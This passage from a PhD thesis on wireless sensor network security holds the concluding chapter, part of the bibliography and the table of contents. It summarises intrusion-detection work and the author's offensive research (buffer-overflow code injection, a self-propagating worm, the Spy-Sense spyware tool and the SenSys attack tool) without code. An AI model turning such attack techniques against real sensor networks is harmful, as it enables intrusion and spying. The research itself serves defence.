people-centric sensing applications.
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Chapter 10

Concluding Remarks

Recent research on WSNs has focused mainly on the feasibility aspects of such networks, i.e. ex-

tending their lives using energy-conserving communication protocols and enabling the integration

of ubiquitous sensing computing with everyday life activities. However, little effort has yet been put

to determine how these networks would actually survive the tough rigors of real world challenges.

Security, in particular, remains of paramount importance, especially in those application domains

where strategic decisions are expected to be based on information received from these sensor nodes.

This thesis is based on the following motto: Better understanding of network vulnerabilities

enables the design of more resilient security mechanisms. In the first part of this work, we con-

centrated on the study and design of distributed security algorithms for the intrusion detection

problem in sensor networks. For each of the proposed solutions we tried to minimize the overhead

imposed by its implementation on widely used sensor platforms so that it becomes realistic and

attractive to the application designer. However, in the second part, we argued that in order to

establish better security mechanisms for sensor networks, it is essential to investigate in depth the

“best” ways for launching already existing attacks and demonstrate new ones in practice. There-

fore, we studied a new set of memory related vulnerabilities that can be used by an adversary for

performing a software-based attack in order to inject arbitrarily long malware in embedded sensor

nodes. We now summarize the key results of our work and discuss open issues.

10.1 Summary of Main Results

As mentioned above, the results of this thesis serve a two-fold purpose: reveal new possible weak-

nesses that can be exploited by an adversary in order to achieve better and more realistic security

mechanisms for securing sensor networks.

First, we focused on the study and design of distributed sensor network security algorithms

that prevent the attacker from accessing the information routed within. We extensively studied

the problem of detecting the attacker when the prevention measures cannot succeed and we have

159



10. CONCLUDING REMARKS

argued that maximum security can only be ensured by designing an effective intrusion detection

system (IDS) as a second layer of defense.

We discussed the process of designing efficient IDS frameworks by considering the most impor-

tant design parameters, the different techniques and architectures that are appropriate for such

networks, and the requirements that such a system should satisfy. Then, we presented such an

architecture of a distributed IDS (LIDeA), in which, even though nodes don’t have a global view

of the network, they can still collaborate with each other and successfully detect an intrusion. The

nodes achieve coordinated surveillance by incorporating inter-agent communication and distributed

computing to collaboratively infer the identity of the attacker from a set of suspicious nodes. The

factor that determined the design of the IDS is that the attacker, as well as any other compro-

mised nodes that collaborate with her, can interfere with the protocol and affect the result. The

countermeasures consist of authenticating the exchanged packets and sending them through mul-

tiple paths. We showed how such a system can be implemented, which components and interfaces

are needed, and what is the resulting overhead imposed. The demonstrated implementation details

show that LIDeA is lightweight enough to run on sensor nodes, thus, making it realistic and widely

applicable considering the current state of the art in WSNs.

In addition to the above, we had a closer look at examples of how this schema can be used to

detect specific attacks such as the Sinkhole and Wormhole attacks. We concentrated on this kind

of routing attacks because they are considered the most challenging and difficult to detect. We

proposed novel countermeasures against these threats in the direction of intrusion detection having

used LIDeA as our reference point. These countermeasures are completely localized, without the

need of any specialized hardware, and work by looking for simple evidence that no attack is taking

place, using only connectivity information, as implied by the underlying communication graph, and

total absence of coordination. Detailed theoretical analysis and simulation results confirmed that

the proposed algorithms can always thwart such attacks, irrespective of the density of the network

or any frequent neighbor connectivity changes. Also, by providing an implementation on real sensor

devices, we demonstrated their practicality and efficiency in terms of memory requirements and

processing overhead.

However, in the second part of this thesis, we have argued that protecting the network from

some well known threats is not enough. It is important that detection mechanisms can withstand

attacks that have not been anticipated before. The best way to do that is to look at how specific

attacks can be realized in practice and study new methods from the attacker’s point of view.

Therefore, we explored a new set of memory related vulnerabilities for sensor embedded devices

that, if exploited, can lead to the execution of software-based attacks. We demonstrated how to

execute malware on wireless sensor nodes that are based on the Von Neumann architecture. This
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was achieved by exploiting a buffer overflow vulnerability to smash the call stack and intrude a

remote node over the radio channel. Then we proceed to show how the malware can be crafted

to become a self-replicating worm that broadcasts itself and infects the network in a hop-by-hop

manner. While this attack is extremely dangerous, there has been very little research in this area.

To the best of our knowledge, this is the first instance of a self-propagating worm that provides a

detailed analysis along with instructions in order to execute arbitrary malicious code.

Then we moved one step further and showed how an adversary can perform a code injection

attack for permanently injecting spying exploits in the remote nodes. Spying is an invasion of

privacy that can lead to serious repercussions if the data collected lands into unscrupulous hands.

We demonstrated the practicality of such a threat by building Spy-Sense, a spyware tool that allows

the injection of stealthy exploits in the nodes of a sensor network while reliably evading detection.

Exploits are sequences of machine code instructions that cause unintended behavior to occur on the

host sensor. We provided detailed analysis and all instruction sequences for a number of exploits

capable of performing data manipulation, cracking and network damage.

Finally, based on the currently existing threat models (Chapter 2) and the new one described

above, we developed SenSys, a sophisticated attack tool that allows both inspection of a sensor

network’s functionality by analyzing overheard radio messages as well as discharge of various attacks

against it. It can identify common applied protocols and use this information for performing various

network layer attacks as well as novel ones like malicious code injection. Also, it can extract useful

network information such as node crashes, reboots, routing problems, network partitions, and traffic

analysis (overall network traffic or overheard traffic by each sensor node).

These are the first instances of attack tools that can be used by an adversary to penetrate the

confidentiality and functionality of a sensor network. Results show that they can be flexibly applied

to different sensor network operating systems and protocol stacks giving an adversary privileges

to which she is not entitled to. We use them proactively, to study the weaknesses of new security

protocols, and to enhance the level of security provided by the LIDeA system even further. In

general, we expect that our work will be particulary useful for demonstrating and educating users

about the destructive impacts of various attacks and will be used as a valuable knowledge tool in the

design, development, and deployment of more secure sensor network applications especially in the

new domain of participatory sensing environments where the security challenges, as we discussed

in Chapter 9, are far more complex and challenging than in traditional sensor networks.
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10.2 Discussion and Future Directions

Some interesting research directions arise from the set of rules and algorithms presented in Chap-

ters 4 and 5. Having designed an IDS architecture that is appropriate for sensor networks, we

started to look into specific attacks, like the sinkhole and wormhole attacks, and defined counter-

measures that can be incorporated in the Local Detection module. Therefore, we showed that by

comprehensive analysis of various attacks, a set of effective and efficient detection rules can be pro-

duced. These rules can be based either on misuse or anomaly detection for producing suspect lists.

Hence, it makes sense to continue investigating in depth how other severe attacks can be realized

in practice in order to get a better insight of their effects on the network itself. This, in turn, can

lead to powerful detection rules and algorithms. Then, another question comes in the scene; could

we define more general rules that can be applied for detecting a broader class of attacks? Definitely

the area of intrusion detection in sensor networks is a viable research direction and with further

investigation it can provide even more attractive solutions for securing such networks.

Another important topic opens after the threat models and attack tools presented in the second

part of this thesis. Since we are at the beginning of a radical change, as embedded sensor devices

tend to be universally connected and ubiquitous, a new set of security challenges will be posed in

terms of information security, data privacy and ethics. Such embedded systems will be valuable

targets to attack. Therefore, it is important to continue investigating new threat models and

network vulnerabilities that can be exploited by an adversary in order to come up with more

resilient security mechanisms. Future work could, for example, explore other aspects of malicious

code injection; having studied the destructive effects of sensor worms and spying exploits, what

other attacks can an adversary perform using this existing loophole? In general, we wish to study

various new threats and methods based on the following question: Are low-end embedded sensor

devices vulnerable to similar attack techniques as commodity systems, and if so, how can they be

launched against sensor networks? We plan to look into this dynamic field especially for the case

of people-centric sensing because, as we described in Chapter 9, it holds the future vision of sensor

network deployments.

More specifically, we believe that this new type of sensing paradigm bears an irrefutably great

potential and holds the key to leverage the usage of sensor networks towards civic benefit. However,

next to the advantages that this new approach has, it also poses new challenges. It induces a

different set of assumptions and trade-offs than in much of the prior work on sensor networks,

requiring new thoughts about the communications infrastructure. Likewise, these new capabilities

and architectures pose different challenges and therefore require new solutions for information

security. Hence, it is essential to identify the threats and vulnerabilities that can be exploited
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for penetrating the security profile of this type of applications. A first step towards clarifying

this picture was made in Chapter 9, where we discussed our vision for people-centric sensing

environments and studied their security challenges. We made the case for trustworthy participatory

sensing and highlighted the problems of data protection, shareability, and confidentiality. We plan

to investigate in depth all these challenges which must be resolved if these systems have any hope

of realizing their full potential. Is sensing data with always-on mobile phones a new opportunity

to promote sensor network research or is it a very powerful surveillance tool that we carry around

in our everyday lifes? In general, our goal is to instigate discussion on these critical issues because

people-centric sensing will never succeed without adequate provisions on security and privacy.
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[184] P. Floréen, A. Krüger, and M. Spasojevic, eds., Pervasive Computing, 8th International

Conference, Pervasive 2010, Helsinki, Finland, May 17-20, 2010. Proceedings, vol. 6030 of

Lecture Notes in Computer Science, Springer, 2010. 149

[185] D. Zhang, B. Guo, B. Li, and Z. Yu, “Extracting social and community intelligence from

digital footprints: An emerging research area,” in UIC, pp. 4–18, 2010. 150

[186] C. Frank, P. Bolliger, C. Roduner, and W. Kellerer, “Objects calling home: Locating objects

using mobile phones.,” in Pervasive (A. LaMarca, M. Langheinrich, and K. N. Truong, eds.),

vol. 4480 of Lecture Notes in Computer Science, pp. 351–368, Springer, 2007. 151

[187] J. Froehlich, J. Neumann, and N. Oliver, “Measuring the pulse of the city through shared

bicycle programs,” in Proceedings of the International Workshop on Urban, Community, and

Social Applications of Networked Sensing Systems (UrbanSense08), Nov. 2008. 151

[188] E. Miluzzo, N. D. Lane, K. Fodor, R. Peterson, H. Lu, M. Musolesi, S. B. Eisenman, X. Zheng,

and A. T. Campbell, “Sensing meets mobile social networks: the design, implementation

and evaluation of the CenceMe application,” in SenSys ’08: Proceedings of the 6th ACM

conference on Embedded network sensor systems, (New York, NY, USA), pp. 337–350, ACM,

2008. 151

182



BIBLIOGRAPHY

[189] S. B. Eisenman, E. Miluzzo, N. D. Lane, R. A. Peterson, G.-S. Ahn, and A. T. Campbell,

“The bikenet mobile sensing system for cyclist experience mapping,” in Proceedings of the

5th international conference on Embedded networked sensor systems, SenSys ’07, (New York,

NY, USA), pp. 87–101, ACM, 2007. 151

[190] J. Kang, “Information privacy in cyberspace transactions,” Stanford Law Review, vol. 50,

p. 1193, 1998. 154

[191] H. Nissenbaum, “Privacy in context: Technology, policy, and the integrity of social life,” in

Stanford Law Books, (Stanford, CA), 2009. 154

[192] B. Gedik and L. Liu, “Location Privacy in Mobile Systems: A Personalized Anonymiza-

tion Model,” in 25th IEEE International Conference on Distributed Computing Systems

(ICDCS’05), pp. 620–629, IEEE, 2005. 154

[193] A. Kapadia, D. Kotz, and N. Triandopoulos, “Opportunistic Sensing: Security Challenges

for the New Paradigm,” in The First International Conference on COMmunication Systems

and NETworkS (COMSNETS), January 2009. 154

[194] I. Krontiris, F. Freiling, and T. Dimitriou, “Location privacy in urban sensing networks:

research challenges and directions,” IEEE Wireless Communications, vol. 17, pp. 30–35,

October 2010. 154

[195] T. Mitchell, “Mining our Reality,” in Science 326 (5960), pp. 1644–1645, 2009. 154

[196] K. Shilton, N. Ramanathan, S. Reddy, V. Samanta, J. Burke, D. Estrin, M. H. Hansen, and

M. B. Srivastava, “Participatory design of sensing networks: strengths and challenges,” in

PDC, pp. 282–285, 2008. 155

183


	List of Figures
	List of Tables
	Glossary
	List of Publications
	1 Introduction
	1.1 The Sensing Paradigm
	1.2 Motivation and Research Objectives
	1.3 Contributions
	1.3.1 On the Security Side: The Intrusion Detection Problem
	1.3.2 On the Intruder Side: Compromising Sensor Network Security

	1.4 Dissertation Outline

	I Sensor Network Security Defense Mechanisms
	2 Security Issues in Wireless Sensor Networks
	2.1 Introduction
	2.2 Sensor Networks: Benefits & Limitations
	2.3 Why Sensor Networks are Difficult to Protect
	2.3.1 Limited Resources
	2.3.2 Unreliable Communication
	2.3.3 Ad-Hoc Deployment and Immense Scale
	2.3.4 Unattended Operation

	2.4 Security Requirements
	2.5 Issues in Sensor Network Security Research
	2.6 Threat Model
	2.6.1 Attacks based on Attacker's Location
	2.6.2 Attacks based on Attacker's Strength

	2.7 Types of Attacks against Networking Layers
	2.8 Conclusions

	3 A Lightweight Intrusion Detection Framework
	3.1 Introduction
	3.2 Background in Intrusion Detection
	3.2.1 Intrusion Detection Policies
	3.2.2 Intrusion Detection Architectures

	3.3 Requirements of Intrusion Detection for WSNs
	3.4 Network Model and Assumptions
	3.4.1 Sensor Nodes and Communication
	3.4.2 Threat Model

	3.5 Designing an Intrusion Detection System for WSNs
	3.5.1 Architectural Options
	3.5.2 Cooperative Detection Engine

	3.6 LIDeA: A Distributed Lightweight Intrusion Detection Framework
	3.6.1 Neighborhood Perimeter & Key Management Module
	3.6.2 Local Detection Engine Module
	3.6.3 Alert Region Module
	3.6.4 Exposure Module
	3.6.5 Local Response Module

	3.7 Performance Evaluation
	3.7.1 Memory Requirements
	3.7.2 Experimental Results

	3.8 Existing IDS Approaches
	3.8.1 Distributed Approaches
	3.8.2 Centralized Approaches
	3.8.3 Hybrid Approaches

	3.9 Discussion and Critique
	3.10 Conclusions

	4 The Sinkhole Attack; Severity Analysis and Countermeasures
	4.1 Introduction
	4.2 System Model and Assumptions
	4.2.1 Network & Routing Layer Model
	4.2.2 Threat Model

	4.3 The Sinkhole Attack
	4.3.1 Sinkhole Attack on MintRoute
	4.3.2 Sinkhole Attack on MultiHopLQI

	4.4 Detecting the Sinkhole Attack
	4.4.1 Detection Rules of MintRoute
	4.4.2 Detection Rules on MultiHopLQI

	4.5 Existing Sinkhole Countermeasures
	4.6 Conclusions

	5 The Wormhole Attack; Severity Analysis and Countermeasures
	5.1 Introduction
	5.2 Significance of Wormhole Attacks
	5.3 Previous Wormhole Countermeasures
	5.4 System Model and Assumptions
	5.4.1 Network Model & Communication
	5.4.2 Attacker Model

	5.5 Localized Wormhole Detection and Prevention
	5.5.1 LDAC Path Existence Test for Wormhole Prevention
	5.5.2 Short Path Existence Theorem - Probabilistic Analysis
	5.5.2.1 The case of a non-empty intersection

	5.5.3 Detailed Description of LDAC Algorithm

	5.6 Performance Evaluation
	5.6.1 Implementation Overhead
	5.6.2 Detection Time
	5.6.3 Simulation Results

	5.7 Discussion and Critique
	5.8 Conclusions


	II Malicious Exploits & Sophisticated Attack Tools Against WSNs
	6 Software Attacks against WSNs: Malicious Code Injection
	6.1 Introduction
	6.1.1 Background on Malicious Code Injection in Sensor Devices
	6.1.2 Chapter Organization

	6.2 Related Work
	6.3 System Model and Assumptions
	6.4 TI MSP430 Architecture Overview
	6.5 Challenges of Code Injection Attacks on Sensor Devices
	6.6 Buffer Overflow Description
	6.7 Exploiting Buffer Overflow for Code Injection Attacks
	6.7.1 Composition of Crafted-Packet Payload and Restoration of Program Flow
	6.7.2 Updating the Target Pointer
	6.7.3 Control Flow of the Code Injection Attack

	6.8 Dissemination of Attack Code - Worm Construction
	6.8.1 Implementation Details

	6.9 Performance Evaluation
	6.10 Defense Measures
	6.11 Conclusions

	7 Spy-Sense: Spyware Tool for Executing Stealthy Exploits against WSNs
	7.1 Introduction
	7.2 What is Spy-Sense
	7.2.1 Impact to Sensor Networks

	7.3 Spy-Sense Architecture Layout
	7.3.1 Spy-Sense Exploit Loader Component
	7.3.2 Spy-Sense SetUp Engine
	7.3.3 Spy-Sense Exploit Activation Component
	7.3.4 Spy-Sense Visualization Component

	7.4 Exploit Analysis & Machine Code Break Down
	7.4.1 Data Manipulation Exploits
	7.4.2 Cracking Exploits
	7.4.3 Network Damage Exploits
	7.4.4 User Defined Exploits

	7.5 Conclusions

	8 SenSys: An Attack Tool for Launching Attacks against WSNs
	8.1 Introduction
	8.2 Network Confidentiality Threats & Wireless Attacks
	8.3 Attack Tool Architecture Overview
	8.3.1 Network Sniffer Component
	8.3.2 Network Attack Tool Component
	8.3.3 Network Visualization Component

	8.4 Implemented Attack & Actions
	8.4.1 Attacks Walk-Through
	8.4.1.1 Data Replay, Selective Forwarding and HELLO Flooding Attack
	8.4.1.2 Sinkhole Attack
	8.4.1.3 Malicious Code Injection
	8.4.1.4 Program Image Dissemination & Ping Operation


	8.5 Conclusions

	9 Future Vision of People-Centric Sensing Paradigm: Privacy Challenges & Directions
	9.1 Introduction
	9.2 Bridging Traditional Sensor Networks and People-Centric Sensing
	9.3 The Rise of People-Centric Sensing
	9.3.1 Opportunistic People-Centric Sensing
	9.3.2 People-Centric Sensing Applications

	9.4 Urban-Sensing Privacy Challenges & Directions
	9.4.1 Privacy and Trust Issues
	9.4.2 Integrity Issues
	9.4.3 Availability Issues
	9.4.4 Policy Issues

	9.5 Conclusions

	10 Concluding Remarks
	10.1 Summary of Main Results
	10.2 Discussion and Future Directions

	Bibliography


